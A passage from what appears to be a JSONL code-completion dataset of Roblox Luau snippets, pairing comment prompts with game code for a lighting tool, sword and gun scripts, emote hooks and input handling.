the given light type\n\n\t-- Get the UI\n\tlocal UI = LightingTool.UI[LightType];\n\tlocal UITemplate = Core.Tool.Interfaces.BTLightingToolGUI[LightType];\n\n\t-- Close up all light option UIs\n\tCloseLightOptions(LightType);\n\n\t-- Calculate how much to expand this options UI by\n\tlocal HeightExpansion = UDim2.new(0, 0, 0, UITemplate.Options.Size.Y.Offset);\n\n\t-- Start the options UI size from 0\n\tUI.Options.Size = UDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0);\n\n\t-- Allow the options UI to be seen\n\tUI.ClipsDescendants = false;\n\n\t-- Perform the options UI resize animation\n\tUI.Options:TweenSize(\n\t\tUITemplate.Options.Size + HeightExpansion,\n\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,\n\t\tfunction ()\n\n\t\t\t-- Allow visibility of overflowing UIs within the options UI\n\t\t\tUI.Options.ClipsDescendants = false;\n\n\t\tend\n\t);\n\n\t-- Expand the main UI to accommodate the expanded options UI\n\tLightingTool.UI:TweenSize(\n\t\tCore.Tool.Interfaces.BTLightingToolGUI.Size + HeightExpansion,\n\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true\n\t);\n\n\t-- Push any UIs below this one downwards\n\tlocal LightTypeIndex = Support.FindTableOccurrence(LightTypes, LightType);\n\tfor LightTypeIndex = LightTypeIndex + 1, #LightTypes do\n\n\t\t-- Get the UI\n\t\tlocal LightType = LightTypes[LightTypeIndex];\n\t\tlocal UI = LightingTool.UI[LightType];\n\n\t\t-- Perform the position animation\n\t\tUI:TweenPosition(\n\t\t\tUDim2.new(\n\t\t\t\tUI.Position.X.Scale,\n\t\t\t\tUI.Position.X.Offset,\n\t\t\t\tUI.Position.Y.Scale,\n\t\t\t\t30 + 30 * (LightTypeIndex - 1) + HeightExpansion.Y.Offset\n\t\t\t),\n\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true\n\t\t);\n\n\tend;\n\n\t-- Enable surface setting by clicking\n\tEnableSurfaceClickSelection(LightType);\n\nend;\n\nfunction CloseLightOptions(Exception)\n\t-- Closes all light options, except the one for the given light type\n\n\t-- Go through each light type\n\tfor LightTypeIndex, LightType in pairs(LightTypes) do\n\n\t\t-- Get the UI for each light type\n\t\tlocal UI = LightingTool.UI[LightType];\n\t\tlocal UITemplate = Core.Tool.Interfaces.BTLightingToolGUI[LightType];\n\n\t\t-- Remember the initial size for each options UI\n\t\tlocal InitialSize = UITemplate.Options.Size;\n\n\t\t-- Move each light type UI to its starting position\n\t\tUI:TweenPosition(\n\t\t\tUDim2.new(\n\t\t\t\tUI.Position.X.Scale,\n\t\t\t\tUI.Position.X.Offset,\n\t\t\t\tUI.Position.Y.Scale,\n\t\t\t\t30 + 30 * (LightTypeIndex - 1)\n\t\t\t),\n\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true\n\t\t);\n\n\t\t-- Make sure to not resize the exempt light type UI\n\t\tif not Exception or Exception and LightType ~= Exception then\n\n\t\t\t-- Allow the options UI to be resized\n\t\t\tUI.Options.ClipsDescendants = true;\n\n\t\t\t-- Perform the resize animation to close up\n\t\t\tUI.Options:TweenSize(\n\t\t\t\tUDim2.new(UI.Options.Size.X.Scale, UI.Options.Size.X.Offset, UI.Options.Size.Y.Scale, 0),\n\t\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true,\n\t\t\t\tfunction ()\n\n\t\t\t\t\t-- Hide the option UI\n\t\t\t\t\tUI.ClipsDescendants = true;\n\n\t\t\t\t\t-- Set the options UI's size to its initial size (for reexpansion)\n\t\t\t\t\tUI.Options.Size = InitialSize;\n\n\t\t\t\tend\n\t\t\t);\n\n\t\tend;\n\n\tend;\n\n\t-- Contract the main UI if no option UIs are being opened\n\tif not Exception then\n\t\tLightingTool.UI:TweenSize(\n\t\t\tCore.Tool.Interfaces.BTLightingToolGUI.Size,\n\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.5, true\n\t\t);\n\tend;\n\nend;\n\nfunction UpdateUI()\n\t-- Updates information on the UI\n\n\t-- Make sure the UI's on\n\tif not LightingTool.UI then\n\t\treturn;\n\tend;\n\n\t-- Go through each light type and update each options UI\n\tfor _, LightType in pairs(LightTypes) do\n\n\t\tlocal Lights = GetLights(LightType);\n\t\tlocal LightSettingsUI = LightingTool.UI[LightType];\n\n\t\t-- Option input references\n\t\tlocal Options = LightSettingsUI.Options;\n\t\tlocal RangeInput = Options.RangeOption.Input.TextBox;\n\t\tlocal BrightnessInput = Options.BrightnessOption.Input.TextBox;\n\t\tlocal ColorPicker = Options.ColorOption.HSVPicker;\n\t\tlocal ColorIndicator = Options.ColorOption.Indicator;\n\t\tlocal ShadowsCheckbox = Options.ShadowsOption.Checkbox;\n\n\t\t-- Add/remove button references\n\t\tlocal AddButton = LightSettingsUI.AddButton;\n\t\tlocal RemoveButton = LightSettingsUI.RemoveButton;\n\n\t\t-- Hide option UIs for light types not present in the selection\n\t\tif #Lights == 0 and not LightSettingsUI.ClipsDescendants then\n\t\t\tCloseLightOptions();\n\t\tend;\n\n\t\t-------------------------------------------\n\t\t-- Show and hide \"ADD\" and \"REMOVE\" buttons\n\t\t-------------------------------------------\n\n\t\t-- If no selected parts have lights\n\t\tif #Lights == 0 then\n\n\t\t\t-- Show add button only\n\t\t\tAddButton.Visible = true;\n\t\t\tAddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);\n\t\t\tRemoveButton.Visible = false;\n\n\t\t-- If only some selected parts have lights\n\t\telseif #Lights < #Selection.Items then\n\n\t\t\t-- Show both add and remove buttons\n\t\t\tAddButton.Visible = true;\n\t\t\tAddButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5, 0, 3);\n\t\t\tRemoveButton.Visible = true;\n\t\t\tRemoveButton.Position = UDim2.new(1, -AddButton.AbsoluteSize.X - 5 - RemoveButton.AbsoluteSize.X - 2, 0, 3);\n\n\t\t-- If all selected parts have lights\n\t\telseif #Lights == #Selection.Items then\n\n\t\t\t-- Show remove button\n\t\t\tRemoveButton.Visible = true;\n\t\t\tRemoveButton.Position = UDim2.new(1, -RemoveButton.AbsoluteSize.X - 5, 0, 3);\n\t\t\tAddButton.Visible = false;\n\n\t\tend;\n\n\t\t--------------------\n\t\t-- Update each input\n\t\t--------------------\n\n\t\t-- Update the standard inputs\n\t\tUpdateDataInputs {\n\t\t\t[RangeInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Range'), 2) or '*';\n\t\t\t[BrightnessInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Brightness'), 2) or '*';\n\t\t};\n\n\t\t-- Update type-specific inputs\n\t\tif LightType == 'SpotLight' or LightType == 'SurfaceLight' then\n\n\t\t\t-- Get the type-specific inputs\n\t\t\tlocal AngleInput = Options.AngleOption.Input.TextBox;\n\t\t\tlocal SideDropdown = Core.Cheer(Options.SideOption.Dropdown);\n\n\t\t\t-- Update the angle input\n\t\t\tUpdateDataInputs {\n\t\t\t\t[AngleInput] = Support.Round(Support.IdentifyCommonProperty(Lights, 'Angle'), 2) or '*';\n\t\t\t};\n\n\t\t\t-- Update the surface dropdown input\n\t\t\tlocal Face = Support.IdentifyCommonProperty(Lights, 'Face');\n\t\t\tSideDropdown.SetOption(Face and Face.Name or '*');\n\n\t\tend;\n\n\t\t-- Update special color input\n\t\tlocal Color = Support.IdentifyCommonProperty(Lights, 'Color');\n\t\tif Color then\n\t\t\tColorIndicator.BackgroundColor3 = Color;\n\t\t\tColorIndicator.Varies.Text = '';\n\t\telse\n\t\t\tColorIndicator.BackgroundColor3 = Color3.new(222/255, 222/255, 222/255);\n\t\t\tColorIndicator.Varies.Text = '*';\n\t\tend;\n\n\t\t-- Update the special shadows input\n\t\tlocal ShadowsEnabled = Support.IdentifyCommonProperty(Lights, 'Shadows');\n\t\tif ShadowsEnabled == true then\n\t\t\tShadowsCheckbox.Image = Core.Assets.CheckedCheckbox;\n\t\telseif ShadowsEnabled == false then\n\t\t\tShadowsCheckbox.Image = Core.Assets.UncheckedCheckbox;\n\t\telseif ShadowsEnabled == nil then\n\t\t\tShadowsCheckbox.Image = Core.Assets.SemicheckedCheckbox;\n\t\tend;\n\n\tend;\n\nend;\n\nfunction UpdateDataInputs(Data)\n\t-- Updates the data in the given TextBoxes when the user isn't typing in them\n\n\t-- Go through the inputs and data\n\tfor Input, UpdatedValue in pairs(Data) do\n\n\t\t-- Makwe sure the user isn't typing into the input\n\t\tif not Input:IsFocused() then\n\n\t\t\t-- Set the input's value\n\t\t\tInput.Text = tostring(UpdatedValue);\n\n\t\tend;\n\n\tend;\n\nend;\n\nfunction AddLights(LightType)\n\n\t-- Prepare the change request for the server\n\tlocal Changes = {};\n\n\t-- Go through the selection\n\tfor _, Part in pairs(Selection.Items) do\n\n\t\t-- Make sure this part doesn't already have a light\n\t\tif not Support.GetChildOfClass(Part, LightType) then\n\n\t\t\t-- Queue a light to be created for this part\n\t\t\ttable.insert(Changes, { Part = Part, LightType = LightType });\n\n\t\tend;\n\n\tend;\n\n\t-- Send the change request to the server\n\tlocal Lights = Core.SyncAPI:Invoke('CreateLights', Changes);\n\n\t-- Put together the history record\n\tlocal HistoryRecord = {\n\t\tLights = Lights;\n\n\t\tUnapply = function (HistoryRecord)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Select changed parts\n\t\t\tSelection.Replace(Support.GetListMembers(HistoryRecord.Lights, 'Parent'));\n\n\t\t\t-- Remove the lights\n\t\t\tCore.SyncAPI:Invoke('Remove', HistoryRecord.Lights);\n\n\t\tend;\n\n\t\tApply = function (HistoryRecord)\n\t\t\t-- Reapplies this change\n\n\t\t\t-- Restore the lights\n\t\t\tCore.SyncAPI:Invoke('UndoRemove', HistoryRecord.Lights);\n\n\t\t\t-- Select changed parts\n\t\t\tSelection.Replace(Support.GetListMembers(HistoryRecord.Lights, 'Parent'));\n\n\t\tend;\n\n\t};\n\n\t-- Register the history record\n\tCore.History.Add(HistoryRecord);\n\n\t-- Open the options UI for this light type\n\tOpenLightOptions(LightType);\n\nend;\n\nfunction RemoveLights(LightType)\n\n\t-- Get all the lights in the selection\n\tlocal Lights = GetLights(LightType);\n\n\t-- Create the history record\n\tlocal HistoryRecord = {\n\t\tLights = Lights;\n\n\t\tUnapply = function (HistoryRecord)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Restore the lights\n\t\t\tCore.SyncAPI:Invoke('UndoRemove', HistoryRecord.Lights);\n\n\t\t\t-- Select changed parts\n\t\t\tSelection.Replace(Support.GetListMembers(HistoryRecord.Lights, 'Parent'));\n\n\t\tend;\n\n\t\tApply = function (HistoryRecord)\n\t\t\t-- Reapplies this change\n\n\t\t\t-- Select changed parts\n\t\t\tSelection.Replace(Support.GetListMembers(HistoryRecord.Lights, 'Parent'));\n\n\t\t\t-- Remove the lights\n\t\t\tCore.SyncAPI:Invoke('Remove', HistoryRecord.Lights);\n\n\t\tend;\n\n\t};\n\n\t-- Send the removal request\n\tCore.SyncAPI:Invoke('Remove', Lights);\n\n\t-- Register the history record\n\tCore.History.Add(HistoryRecord);\n\nend;\n\nfunction TrackChange()\n\n\t-- Start the record\n\tHistoryRecord = {\n\t\tBefore = {};\n\t\tAfter = {};\n\n\t\tUnapply = function (Record)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Support.GetListMembers(Record.Before, 'Part'));\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncLighting', Record.Before);\n\n\t\tend;\n\n\t\tApply = function (Record)\n\t\t\t-- Applies this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Support.GetListMembers(Record.After, 'Part'));\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncLighting', Record.After);\n\n\t\tend;\n\n\t};\n\nend;\n\nfunction RegisterChange()\n\t-- Finishes creating the history record and registers it\n\n\t-- Make sure there's an in-progress history record\n\tif not HistoryRecord then\n\t\treturn;\n\tend;\n\n\t-- Send the change to the server\n\tCore.SyncAPI:Invoke('SyncLighting', HistoryRecord.After);\n\n\t-- Register the record and clear the staging\n\tCore.History.Add(HistoryRecord);\n\tHistoryRecord = nil;\n\nend;\n\nfunction SetRange(LightType, Range)\n\n\t-- Make sure the given range is valid\n\tif not Range then\n\t\treturn;\n\tend;\n\n\t-- Start a history record\n\tTrackChange();\n\n\t-- Go through each light\n\tfor _, Light in pairs(GetLights(LightType)) do\n\n\t\t-- Store the state of the light before modification\n\t\ttable.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Range = Light.Range });\n\n\t\t-- Create the change request for this light\n\t\ttable.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Range = Range });\n\n\tend;\n\n\t-- Register the changes\n\tRegisterChange();\n\nend;\n\nfunction SetBrightness(LightType, Brightness)\n\n\t-- Make sure the given brightness is valid\n\tif not Brightness then\n\t\treturn;\n\tend;\n\n\t-- Start a history record\n\tTrackChange();\n\n\t-- Go through each light\n\tfor _, Light in pairs(GetLights(LightType)) do\n\n\t\t-- Store the state of the light before modification\n\t\ttable.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Brightness = Light.Brightness });\n\n\t\t-- Create the change request for this light\n\t\ttable.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Brightness = Brightness });\n\n\tend;\n\n\t-- Register the changes\n\tRegisterChange();\n\nend;\n\nfunction SetColor(LightType, Color)\n\n\t-- Make sure the given color is valid\n\tif not Color then\n\t\treturn;\n\tend;\n\n\t-- Start a history record\n\tTrackChange();\n\n\t-- Go through each light\n\tfor _, Light in pairs(GetLights(LightType)) do\n\n\t\t-- Store the state of the light before modification\n\t\ttable.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Color = Light.Color });\n\n\t\t-- Create the change request for this light\n\t\ttable.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Color = Color });\n\n\tend;\n\n\t-- Register the changes\n\tRegisterChange();\n\nend;\n\nfunction ToggleShadows(LightType)\n\n\t-- Determine whether to turn shadows on or off\n\tlocal ShadowsEnabled = not Support.IdentifyCommonProperty(GetLights(LightType), 'Shadows');\n\n\t-- Start a history record\n\tTrackChange();\n\n\t-- Go through each light\n\tfor _, Light in pairs(GetLights(LightType)) do\n\n\t\t-- Store the state of the light before modification\n\t\ttable.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Shadows = Light.Shadows });\n\n\t\t-- Create the change request for this light\n\t\ttable.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Shadows = ShadowsEnabled });\n\n\tend;\n\n\t-- Register the changes\n\tRegisterChange();\n\nend;\n\nfunction SetSurface(LightType, Face)\n\n\t-- Make sure the given face is valid, and this is an applicable light type\n\tif not Face or not (LightType == 'SurfaceLight' or LightType == 'SpotLight') then\n\t\treturn;\n\tend;\n\n\t-- Start a history record\n\tTrackChange();\n\n\t-- Go through each light\n\tfor _, Light in pairs(GetLights(LightType)) do\n\n\t\t-- Store the state of the light before modification\n\t\ttable.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Face = Light.Face });\n\n\t\t-- Create the change request for this light\n\t\ttable.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Face = Face });\n\n\tend;\n\n\t-- Register the changes\n\tRegisterChange();\n\nend;\n\nfunction SetAngle(LightType, Angle)\n\n\t-- Make sure the given angle is valid\n\tif not Angle then\n\t\treturn;\n\tend;\n\n\t-- Start a history record\n\tTrackChange();\n\n\t-- Go through each light\n\tfor _, Light in pairs(GetLights(LightType)) do\n\n\t\t-- Store the state of the light before modification\n\t\ttable.insert(HistoryRecord.Before, { Part = Light.Parent, LightType = LightType, Angle = Light.Angle });\n\n\t\t-- Create the change request for this light\n\t\ttable.insert(HistoryRecord.After, { Part = Light.Parent, LightType = LightType, Angle = Angle });\n\n\tend;\n\n\t-- Register the changes\n\tRegisterChange();\n\nend;\n"} +{"prompt": "-- Gets the storage location for packages used by each Dev Modules. The packages\n-- that get put in this folder are deduplicated so every distinct version of a\n-- package has only one copy.", "completion": "\nlocal function getPackageStorage(): Folder\n\tlocal packageStorage = constants.PACKAGE_STORAGE_LOCATION:FindFirstChild(constants.PACKAGE_STORAGE_NAME) :: Folder\n\n\tif not packageStorage then\n\t\tpackageStorage = Instance.new(\"Folder\")\n\t\tpackageStorage.Name = constants.PACKAGE_STORAGE_NAME\n\t\tpackageStorage.Parent = constants.PACKAGE_STORAGE_LOCATION\n\tend\n\n\treturn packageStorage\nend\n"} +{"prompt": "--| Cooldown value |--", "completion": "\nlocal Cooldown = script.Parent.Parent.CooldownValue\n"} +{"prompt": "--// Bullet Physics", "completion": "\n\tBulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop\n\tBulletSpeed = 1500; -- Bullet Speed\n\tBulletSpread = 0; -- How much spread the bullet has\n\t\n\tExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds\n\tExploSpeed = 600; -- Speed for explosive rounds\n\t\n\tBulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)\n\t"} +{"prompt": "--[[\n Creates a touched event listener on specified part, that kills any humanoids that touch it\n]]", "completion": "\nreturn function(part)\n\treturn part.Touched:Connect(\n\t\tfunction(hit)\n\t\t\tif hit and hit.Parent then\n\t\t\t\tlocal humanoid = hit.Parent:FindFirstChildOfClass(\"Humanoid\")\n\t\t\t\tif humanoid then\n\t\t\t\t\thumanoid.Health = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t)\nend\n"} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 5\n\n\nlocal slash_damage = 12\nlocal lunge_damage = 16\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"rbxasset://sounds\\\\swordslash.wav\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\nlocal LungeSound = Instance.new(\"Sound\")\nLungeSound.SoundId = \"rbxasset://sounds\\\\swordlunge.wav\"\nLungeSound.Parent = sword\nLungeSound.Volume = .6\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"rbxasset://sounds\\\\unsheath.wav\"\nUnsheathSound.Parent = sword\nUnsheathSound.Volume = 1\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\twait(1)\n\t\t\t\tuntagHumanoid(humanoid)\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\n\nfunction lunge()\n\tdamage = lunge_damage\n\n\tLungeSound:play()\n\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Lunge\"\n\tanim.Parent = Tool\n\t\n\t\n\tforce = Instance.new(\"BodyVelocity\")\n\tforce.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80\n\tforce.Parent = Tool.Parent.Torso\n\twait(.2)\n\tswordOut()\n\twait(.2)\n\tforce.Parent = nil\n\twait(.4)\n\tswordUp()\n\n\tdamage = slash_damage\nend\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(1,0,0)\nend\n\nfunction swordAcross()\n\t-- parry\nend\n\n\nTool.Enabled = true\nlocal last_attack = 0\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tt = r.Stepped:wait()\n\n\tif (t - last_attack < .2) then\n\t\tlunge()\n\telse\n\t\tattack()\n\tend\n\n\tlast_attack = t\n\n\t--wait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = false\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = true\t\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 2.75\n\t,GunFOVReduction = 5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.375)\n\t,SlideExtend = Vector3.new(0, 0, 0.4)\t"} +{"prompt": "-- emote bindable hook", "completion": "\nif FFlagAnimateScriptEmoteHook then\n\tscript:WaitForChild(\"PlayEmote\").OnInvoke = function(emote)\n\t\t-- Only play emotes when idling\n\t\tif pose ~= \"Standing\" then\n\t\t\treturn\n\t\tend\n\t\n\t\tif emoteNames[emote] ~= nil then\n\t\t\t-- Default emotes\n\t\t\tplayAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)\n\t\t\t\n\t\t\treturn true\n\t\telseif typeof(emote) == \"Instance\" and emote:IsA(\"Animation\") then\n\t\t\t-- Non-default emotes\n\t\t\tplayEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)\n\t\t\treturn true\n\t\tend\n\t\t\n\t\t-- Return false to indicate that the emote could not be played\n\t\treturn false\n\tend\nend\n"} +{"prompt": "--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------", "completion": "\nelseif guntype == 2 then--BullPup\nlocal torso = model.Parent:FindFirstChild(\"Torso\")\nif torso ~= nil then\nif weldmode == 1 then--barrel pointing upper-right\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance *-1, 0.25+y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2, 0)\nelseif weldmode == 2 then--barrel pointing upper-left\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2 *-1, 0)\nelseif weldmode == 3 then--barrel pointing upside-right\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance *-1, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2, 0)\nelseif weldmode == 4 then--barrel pointing upside-left\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2 *-1, 0)\nend\nend"} +{"prompt": "-- run for the first time", "completion": "\nif basePortal:GetAttribute('FallbackImage') then \n\tupdateFallbackImage() \nend\n"} +{"prompt": "-- wait for the first of the passed signals to fire", "completion": "\nlocal function waitForFirst(...)\n\tlocal shunt = Instance.new(\"BindableEvent\")\n\tlocal slots = {...}\n\n\tlocal function fire(...)\n\t\tfor i = 1, #slots do\n\t\t\tslots[i]:Disconnect()\n\t\tend\n\n\t\treturn shunt:Fire(...)\n\tend\n\n\tfor i = 1, #slots do\n\t\tslots[i] = slots[i]:Connect(fire)\n\tend\n\n\treturn shunt.Event:Wait()\nend\n\nlocal HumanoidReadyUtil = {}\n"} +{"prompt": "-- Handle remote functions/events", "completion": "\nfunction runStarting(player)\n\tif player.Character then\n\t\tif player.Character:FindFirstChild(\"FastStartScript\") then\n\t\t\tplayer.Character.FastStartScript.Disabled = false\n\t\tend\n\tend\nend\ngame.ReplicatedStorage.RemoteEvents.RunStarting.OnServerEvent:connect(runStarting)\n\nlocal behaviourModules = {}\n\ncoroutine.wrap(function()\n\tfor _, behaviourScript in ipairs(script.Behaviours:GetChildren()) do\n\t\tlocal success, errMessage = pcall(function() \n\t\t\tbehaviourModules[behaviourScript.Name] = require(behaviourScript) \n\t\tend)\n\t\tif not success then\n\t\t\twarn(\"Failed to load module\" ..behaviourScript.Name.. \".\\n\" ..errMessage)\n\t\tend\n\tend\nend)()\n\nfunction executeBehaviour(player, character, brickTouched, behaviourName)\n\tif behaviourModules[behaviourName] ~= nil then\n\t\tbehaviourModules[behaviourName]:ExecuteBehaviour(brickTouched, character)\n\tend\nend\ngame.ReplicatedStorage.RemoteEvents.ExecuteBehaviour.OnServerEvent:connect(executeBehaviour)\n"} +{"prompt": "---[[ Font Settings ]]", "completion": "\nmodule.DefaultFont = Enum.Font.Bodoni\nmodule.ChatBarFont = Enum.Font.Bodoni\n"} +{"prompt": "--Manage input mode", "completion": "\nUIS.InputBegan:Connect(function(InputObj)\n\tlocal CurrentInputType = Input.InputMode\n\tif InputObj.KeyCode == Enum.KeyCode.ButtonA or InputObj.KeyCode == Enum.KeyCode.ButtonX or InputObj.KeyCode == Enum.KeyCode.ButtonB then\n\t\tInput.InputMode = \"Gamepad\"\n\telseif InputObj.UserInputType == Enum.UserInputType.Keyboard then\n\t\tInput.InputMode = \"Keyboard\" \n\telseif InputObj.UserInputType == Enum.UserInputType.Touch then\n\t\tInput.InputMode = \"Touch\"\n\t\tif CurrentInputType~=Input.InputMode then\n\t\t\tRunTouchControls()\n\t\tend\n\tend\n\tif CurrentInputType~=Input.InputMode then\n\t\tscript.TypeChanged:Fire(Input.InputMode)\n\tend\nend)\n\nfunction KeyChanged()\n\t--Handle ForwardBack\n\tlocal ForwardKey = ( KeyStates[KeyMap.Forward.PrimaryKey] or KeyStates[KeyMap.Forward.SecondaryKey] )\n\tlocal BackwardKey = ( KeyStates[KeyMap.Backward.PrimaryKey] or KeyStates[KeyMap.Backward.SecondaryKey] )\n\tif ForwardKey and BackwardKey then\n\t\tInput.Forward = 0\n\telseif ForwardKey then\n\t\tInput.Forward = 1\n\telseif BackwardKey then\n\t\tInput.Forward = -1\n\telse\n\t\tInput.Forward = 0\n\tend\n\t\n\t--Handle Strafe\n\tlocal StrafeLKey = ( KeyStates[KeyMap.StrafeL.PrimaryKey] or KeyStates[KeyMap.StrafeL.SecondaryKey] )\n\tlocal StrafeRKey = ( KeyStates[KeyMap.StrafeR.PrimaryKey] or KeyStates[KeyMap.StrafeR.SecondaryKey] )\n\tif StrafeLKey and StrafeRKey then\n\t\tInput.Strafe = 0\n\telseif StrafeLKey then\n\t\tInput.Strafe = 1\n\telseif StrafeRKey then\n\t\tInput.Strafe = -1\n\telse\n\t\tInput.Strafe = 0\n\tend\n\t\n\t--Handle Shift\n\tlocal ShiftUpKey = ( KeyStates[KeyMap.ShiftUp.PrimaryKey] or KeyStates[KeyMap.ShiftUp.SecondaryKey] )\n\tlocal ShiftDownKey = ( KeyStates[KeyMap.ShiftDown.PrimaryKey] or KeyStates[KeyMap.ShiftDown.SecondaryKey] )\n\tif ShiftUpKey and ShiftDownKey then\n\t\tInput.Shift = 0\n\telseif ShiftUpKey then\n\t\tInput.Shift = 1\n\telseif ShiftDownKey then\n\t\tInput.Shift = -1\n\telse\n\t\tInput.Shift = 0\n\tend\n\t"} +{"prompt": "-- Object 